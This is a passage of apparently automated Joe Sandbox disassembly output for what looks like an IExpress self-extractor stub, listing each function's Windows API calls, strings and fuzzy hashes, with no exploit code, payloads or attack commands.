Instruction ID: 0b65f688071500d7e40bf24aceda2afc2ce626bace9551b0b16d4b238a6905ef
Opcode Fuzzy Hash: 28f282a99a5b33713936b36b9f1859a93463917d0275b5755d116c919d9a5b54
Instruction Fuzzy Hash: C1310C71A1020AEFDB109FA5EC58ABFBBBDFF0A710F100425E545D2150DF319925CB62

Function 002A6298 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 002A171E: _vsnprintf.MSVCRT ref: 002A1750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,002A51CA,00000004,00000024,002A2F71,?,00000002,00000000), ref: 002A62CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,002A51CA,00000004,00000024,002A2F71,?,00000002,00000000), ref: 002A62D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,002A51CA,00000004,00000024,002A2F71,?,00000002,00000000), ref: 002A631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 002A6345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,002A51CA,00000004,00000024,002A2F71,?,00000002,00000000), ref: 002A6357

Strings

@"v, xrefs: 002A62CD
UPDFILE%lu, xrefs: 002A62B3, 002A6329

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: @"v$UPDFILE%lu
API String ID: 2922116661-1900290011
Opcode ID: c7b8f41254319360f7ef6a7e27523cd448004e0bddce17885a97fe5ef6571719
Instruction ID: b2f91fd25192f7258ae4acc563c0fac8f603b4972f1ab6adc1540a9dd048fe26
Opcode Fuzzy Hash: c7b8f41254319360f7ef6a7e27523cd448004e0bddce17885a97fe5ef6571719
Instruction Fuzzy Hash: 4A21E475A10219ABDB109FA4DC4D9BFBB78EF4A710B040169F902A3241DF759D26CBE0

Function 002A17EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,002A18DD), ref: 002A181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 002A182C
AllocateAndInitializeSid.ADVAPI32(002A18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,002A18DD), ref: 002A1855
FreeSid.ADVAPI32(?,?,?,?,002A18DD), ref: 002A1883
FreeLibrary.KERNEL32(00000000,?,?,?,002A18DD), ref: 002A188A

Strings

CheckTokenMembership, xrefs: 002A1826
advapi32.dll, xrefs: 002A1810

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 76ab98f80b7bc2a6c33a2f735e87e3942ff391612ed8efa0bcebe8f2429ec884
Instruction ID: a99f63100adbc2bf65c29c2e90b7c87b141cc84cb99387b7f339d68557990943
Opcode Fuzzy Hash: 76ab98f80b7bc2a6c33a2f735e87e3942ff391612ed8efa0bcebe8f2429ec884
Instruction Fuzzy Hash: 7A117275A10209AFDB109FA4EC4DBBEBB78EF46710F100169E905A2290DF308D14CB91

Function 002A2AAC Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 002A2AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 002A2AF2
CharNextA.USER32(?), ref: 002A2B12
CharUpperA.USER32 ref: 002A2B1E
CharPrevA.USER32(?,?), ref: 002A2B55
CharNextA.USER32(?), ref: 002A2BD4

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 7930f03840e19365d72a2ea48388a7bc9b0de52be0e15dacf13670ab3f10fd40
Instruction ID: 8ea3bf69ae5849179055ff74de6013c0278f095204613faf5373d3345027e457
Opcode Fuzzy Hash: 7930f03840e19365d72a2ea48388a7bc9b0de52be0e15dacf13670ab3f10fd40
Instruction Fuzzy Hash: 41412534514246AFDB169F389C58BFD7BA99F57314F04049AE8C683202DF758EAACF60

Function 002A28E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 002A2A6F

Part of subcall function 002A2773: CharUpperA.USER32(6BA7D455,00000000,00000000,00000000), ref: 002A27A8
Part of subcall function 002A2773: CharNextA.USER32(?), ref: 002A27B5
Part of subcall function 002A2773: CharNextA.USER32(00000000), ref: 002A27BC
Part of subcall function 002A2773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 002A2829
Part of subcall function 002A2773: RegQueryValueExA.ADVAPI32(?,002A1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 002A2852
Part of subcall function 002A2773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 002A2870
Part of subcall function 002A2773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 002A28A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,002A3938,?,?,?,?,-00000005), ref: 002A2958
GlobalLock.KERNEL32(00000000), ref: 002A2969
GlobalUnlock.KERNEL32(00000000), ref: 002A2A21
GlobalUnlock.KERNEL32(00000000), ref: 002A2A81

Strings

89*, xrefs: 002A293D, 002A297E, 002A2940

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID: 89*
API String ID: 3949799724-403798
Opcode ID: 64c412b453ddd20da6c3fecffc1655cb90f5cd7ce3d4ef599b65bbebc288d218
Instruction ID: 9fab2dafcf53ef9b553678603ae2f5b6d77fed46304e58350e8c76144d19a95e
Opcode Fuzzy Hash: 64c412b453ddd20da6c3fecffc1655cb90f5cd7ce3d4ef599b65bbebc288d218
Instruction Fuzzy Hash: 07510831A1021ADBCB21DF98D884AAEFBB5FF49700F14416AE915E3222DB319965DF90

Function 002A43D0 Relevance: 10.6, APIs: 7, Instructions: 97COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 002A43F1
GetWindowRect.USER32(00000000,?), ref: 002A440B
GetDC.USER32(?), ref: 002A4423
GetDeviceCaps.GDI32(00000000,00000008), ref: 002A442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 002A443A
ReleaseDC.USER32(?,00000000), ref: 002A4447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,?), ref: 002A44A2

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 30393ba3e21155c131d0bf767c6c919ab7d291366d887fdb00cf4a2bd4e6219b
Instruction ID: f590e5de9e6fde622f16558808ef3ca9ccf0f96e2073f9287de0a7d316480cfb
Opcode Fuzzy Hash: 30393ba3e21155c131d0bf767c6c919ab7d291366d887fdb00cf4a2bd4e6219b
Instruction Fuzzy Hash: 4A311832E10119AFCB14DFB8ED8D9EEBBB5EF8A310F154169E805B3250DA70AD05CB60

Function 002A681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 002A686E
GetSystemMetrics.USER32(0000004A), ref: 002A68A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 002A68CC
RegQueryValueExA.ADVAPI32(?,002A1140,00000000,?,?,?), ref: 002A68F4
RegCloseKey.ADVAPI32(?), ref: 002A6902

Part of subcall function 002A66F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,002A691A), ref: 002A6741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 002A68C2

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: d57f7f85632f5e1e1baa6f4081bb6895b824e01cecfdcffec0a49877738f893f
Instruction ID: 2d4a517623793e449c17f9896a35e3f2a797a8b49f7711982a46531a10451f1d
Opcode Fuzzy Hash: d57f7f85632f5e1e1baa6f4081bb6895b824e01cecfdcffec0a49877738f893f
Instruction Fuzzy Hash: D8314F31A1021A9FDB218F51DC4DBABB7B8EB47764F0801E9E94DA3140DF3099A5CF52

Function 002A6517 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(002A0000,000007D6,00000005), ref: 002A652A
LoadResource.KERNEL32(002A0000,00000000,?,?,002A2EE8,00000000,002A19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 002A6538
DialogBoxIndirectParamA.USER32(002A0000,00000000,00000547,002A19E0,00000000), ref: 002A6557
FreeResource.KERNEL32(00000000,?,?,002A2EE8,00000000,002A19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 002A6560

Strings

@"v, xrefs: 002A6538
.*, xrefs: 002A657C

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID: @"v$.*
API String ID: 1214682469-1674884577
Opcode ID: c446a208cb29f20f7385deb634916d1b350d05769e850c89d8568260b451396c
Instruction ID: 8bbb57c7a32b69a6171dc3681733301adcfe62ab96e4e81bed7ca36509606926
Opcode Fuzzy Hash: c446a208cb29f20f7385deb634916d1b350d05769e850c89d8568260b451396c
Instruction Fuzzy Hash: E501F272500206BBCB205FA9AC0CEBB7B6DEF8B760F480125FE04A3150DF718C20CAA1

Function 002A24E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 002A2506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 002A252C
_lopen.KERNEL32(?,00000040), ref: 002A253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 002A254C
_lclose.KERNEL32(00000000), ref: 002A2555

Strings

wininit.ini, xrefs: 002A2510

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: c2dac8a762d92e9eca84ccebfa8183ed4331d2a79be8033b4d0fa51f2e85ec33
Instruction ID: e8ba7917a44868455c4ca0e5e56e6f20aa6ac3fdd61fd18c72aecafd29ec706c
Opcode Fuzzy Hash: c2dac8a762d92e9eca84ccebfa8183ed4331d2a79be8033b4d0fa51f2e85ec33
Instruction Fuzzy Hash: DB015E32A01128ABC7209B69EC0DEDBBB7DEF87760F400155FA49D3190DF748E55CAA1

Function 002A36EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 002A3723
MessageBeep.USER32(00000000), ref: 002A39C3
MessageBoxA.USER32(00000000,00000000,valid,00000030), ref: 002A39F1

Strings

valid, xrefs: 002A39E9, 002A3A19
3, xrefs: 002A3785

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$valid
API String ID: 2519184315-3539985779
Opcode ID: adb5e6b5473ee9b1962f9fe440022890ba645a594c856c4dc0eb9160de01dc79
Instruction ID: 338c976f15c4c1b13e0a971cbf5389058c17d7d337daffb04ef771901911a697
Opcode Fuzzy Hash: adb5e6b5473ee9b1962f9fe440022890ba645a594c856c4dc0eb9160de01dc79
Instruction Fuzzy Hash: CD91E1B1E212269FEB74CE15CD857AAB7A0AB47304F1500AAF84997251DF748FA1CF41

Function 002A6495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 002A64DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 002A64F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 002A6502

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A64AC
advpack.dll, xrefs: 002A64C2, 002A64CD, 002A6501

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$advpack.dll
API String ID: 438848745-2613218439
Opcode ID: e0116c2c41badb0c0b5ef24e76e718fb2030b9bbcbad1e29a11e1cd7f67a64a9
Instruction ID: 1b2766225c2a16c279866c3fd5d163a7d757890c75d7c64007c3835c430d56be
Opcode Fuzzy Hash: e0116c2c41badb0c0b5ef24e76e718fb2030b9bbcbad1e29a11e1cd7f67a64a9
Instruction Fuzzy Hash: 9701D130A20108AFDB50DB64EC4DBFA7378EB53320F900195F589921C0DFB09EAACE51

Function 002A4169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46A0
Part of subcall function 002A468F: SizeofResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46A9
Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46C3
Part of subcall function 002A468F: LoadResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46CC
Part of subcall function 002A468F: LockResource.KERNEL32(00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46D3
Part of subcall function 002A468F: memcpy_s.MSVCRT ref: 002A46E5
Part of subcall function 002A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,002A30B4), ref: 002A4189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,002A30B4), ref: 002A41E7

Part of subcall function 002A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 002A4518
Part of subcall function 002A44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 002A4554

Strings

FINISHMSG, xrefs: 002A4173, 002A41AB
<None>, xrefs: 002A41C5

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: b11beb6bf437d5d86844e2d9277a97164203a068e58109b6c6bcf8a9bb1c56ce
Instruction ID: 2d0447965fb5a1bf1193c516edf99dd9174a4f7c5dbd7f88f9d40ecbf8400b0f
Opcode Fuzzy Hash: b11beb6bf437d5d86844e2d9277a97164203a068e58109b6c6bcf8a9bb1c56ce
Instruction Fuzzy Hash: B801F4B57202253BF7243A659C8AF7B218EDFDBB95F004025B70AE11809EE8CC3145B5

Function 002A7155 Relevance: 7.6, APIs: 5, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 002A7182
GetCurrentProcessId.KERNEL32 ref: 002A7191
GetCurrentThreadId.KERNEL32 ref: 002A719A
GetTickCount.KERNEL32 ref: 002A71A3
QueryPerformanceCounter.KERNEL32(?), ref: 002A71B8

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 86aa08191a6f14c2a59938c088fa921c77712e0f662735b504e3f6ebeeb12475
Instruction ID: 78cdb88ae35a9737c3b38c4228b01547c8d431ef1371632618aabef20494b33a
Opcode Fuzzy Hash: 86aa08191a6f14c2a59938c088fa921c77712e0f662735b504e3f6ebeeb12475
Instruction Fuzzy Hash: AB11F571D15208EBCB10DFB8EA48A9EB7F4FF4A315F614866E809E7210EF349A14CB45

Function 002A19E0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 002A1A18
GetDesktopWindow.USER32 ref: 002A1A24
LoadStringA.USER32(?,?,00000200), ref: 002A1A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 002A1A62
MessageBeep.USER32(000000FF), ref: 002A1A6A

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: fe81d8f78baa2a0148892d2e5b5be0cd4517cac7693465bd24101d1fb4e4aff9
Instruction ID: 5e315bf646a2e6dc6036c1b4c7d30682cb1d6546cbdfb7c09590e52fea8ca8a3
Opcode Fuzzy Hash: fe81d8f78baa2a0148892d2e5b5be0cd4517cac7693465bd24101d1fb4e4aff9
Instruction Fuzzy Hash: 3011A13162110AAFDB10EF64ED0CAAE77B8EF4B310F108155F916D2191DF709E21DB95

Function 002A47E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,002A4E6F), ref: 002A47EA
LocalAlloc.KERNEL32(00000040,?), ref: 002A4823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 002A4847

Part of subcall function 002A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 002A4518
Part of subcall function 002A44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 002A4554

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A4851

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 359063898-3699071305
Opcode ID: 89d79ba40d2abbb7f05ca13616044938707fec4582eb7f141d0933d52ff0aea2
Instruction ID: 2a3cc254faecb6536addf6c2050df14fa1d4b0e279b51e47947630dcfd202c7e
Opcode Fuzzy Hash: 89d79ba40d2abbb7f05ca13616044938707fec4582eb7f141d0933d52ff0aea2
Instruction Fuzzy Hash: 63110279614642AFD714AF34BC1CF723B5AEBC7300B048519EA868B241DEB9DC16CA60

Function 002A3680 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 002A369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 002A36B2
DispatchMessageA.USER32(?), ref: 002A36CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 002A36DA

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: c4f918d39602a2324a5bdf707fae34f174c560f9dd0c2f09857d171cc05a3477
Instruction ID: b9bb4e4b32940f9151b15bf2739fac51af9f6fab8c690f79d25b4de21ab8cc56
Opcode Fuzzy Hash: c4f918d39602a2324a5bdf707fae34f174c560f9dd0c2f09857d171cc05a3477
Instruction Fuzzy Hash: FA01A7729102157BDB308FA66C4CEEF767CEBC7F10F14011AFA05E2180DE60C650C664

Function 002A65E8 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,00000000,00000000,?,00000000,002A2B33), ref: 002A6602
CharPrevA.USER32(?,00000000), ref: 002A6612
CharPrevA.USER32(?,00000000), ref: 002A6629
CharNextA.USER32(00000000), ref: 002A6635

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

